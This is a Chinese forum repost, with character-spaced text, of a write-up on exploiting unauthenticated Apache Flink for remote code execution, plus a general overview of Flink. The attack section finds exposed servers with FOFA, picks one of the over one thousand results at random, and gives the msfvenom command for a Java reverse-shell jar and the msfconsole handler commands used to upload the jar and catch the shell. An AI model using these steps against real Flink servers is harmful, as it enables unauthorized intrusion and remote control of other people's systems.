搜索

[716] 2020-10-27_ApacheFlink未授权访问-远程代码命令执行-复现

文档创建者：s7ckTeam
浏览次数：46
最后更新：2025-01-16
2020-10-27_ApacheFlink未授权访问-远程代码命令执行-复现 A p a c h e   F l i n k 未 授 权 访 问 - 远 程 代 码 命 令 执 行 - 复 现 原 创   黑 子 黑   b g b i n g 安 全   2 0 2 0 - 1 0 - 2 7 用 f o f a 吧 ， 关 键 字 ： a p p = " A p a c h e - F l i n k " ， 有 一 千 多 条 ， 随 便 选 一 个 吧
我 们 先 生 成 一 个 j a v a 包 ， 因 为 是 反 弹 s h e l l 的 形 式 ， 我 又 没 有 公 网 ， 所 以 是 采 用 内 网 映 射 的 形 式 。 生 成 j a v a 包 命 令 如 下 ： m s f v e n o m   - p   j a v a / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 映 射 的 公 网 i p     L P O R T = 1 0 1 5 4 （ 对 应 的 端 口 ）   - f   j a r   >   r c e . j a r 上 传 r c e . j a r   并 且 启 动 m s f c o n s o l e ， 进 行 反 弹 s h e l l ， 点 s u b m i t 即 可 反 弹 回 来 启 动 m s f c o n s o l e 。 u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   j a v a / s h e l l / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 8 e x p l o i t

A p a c h e   f l i n k A p a c h e   F l i n k 是 由 A p a c h e 软 件 基 金 会 开 发 的 开 源 流 处 理 框 架 ， 其 核 心 是 用 J a v a 和 S c a l a 编 写 的 分 布 式 流 数 据 流 引 擎 。 F l i n k 以 数 据 并 行 和 流 水 线 方 式 执 行 任 意 流 数 据 程 序 ， F l i n k 的 流 水 线 运 行 时 系 统 可 以 执 行 批 处 理 和 流 处 理 程 序 。 此 外 ， F l i n k 的 运 行 时 本 身 也 支 持 迭 代 算 法 的 执 行 。 F l i n k 的 简 介 概 述 A p a c h e   F l i n k 的 数 据 流 编 程 模 型 在 有 限 和 无 限 数 据 集 上 提 供 单 次 事 件 （ e v e n t - a t - a - t i m e ） 处 理 。 在 基 础 层 面 ， F l i n k 程 序 由 流 和 转 换 组 成 。 A p a c h e   F l i n k 的 A P I ： 有 界 或 无 界 数 据 流 的 数 据 流 A P I 、 用 于 有 界 数 据 集 的 数 据 集 A P I 、 表 A P I 。 数 据 流 的 运 行 流 程 F l i n k 程 序 在 执 行 后 被 映 射 到 流 数 据 流 ， 每 个 F l i n k 数 据 流 以 一 个 或 多 个 源 （ 数 据 输 入 ， 例 如 消 息 队 列 或 文 件 系 统 ） 开 始 ， 并 以 一 个 或 多 个 接 收 器 （ 数 据 输 出 ， 如 消 息 队 列 、 文 件 系 统 或 数 据 库 等 ） 结 束 。 F l i n k 可 以 对 流 执 行 任 意 数 量 的 变 换 ， 这 些 流 可 以 被 编 排 为 有 向 无 环 数 据 流 图 ， 允 许 应 用 程 序 分 支 和 合 并 数 据 流 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理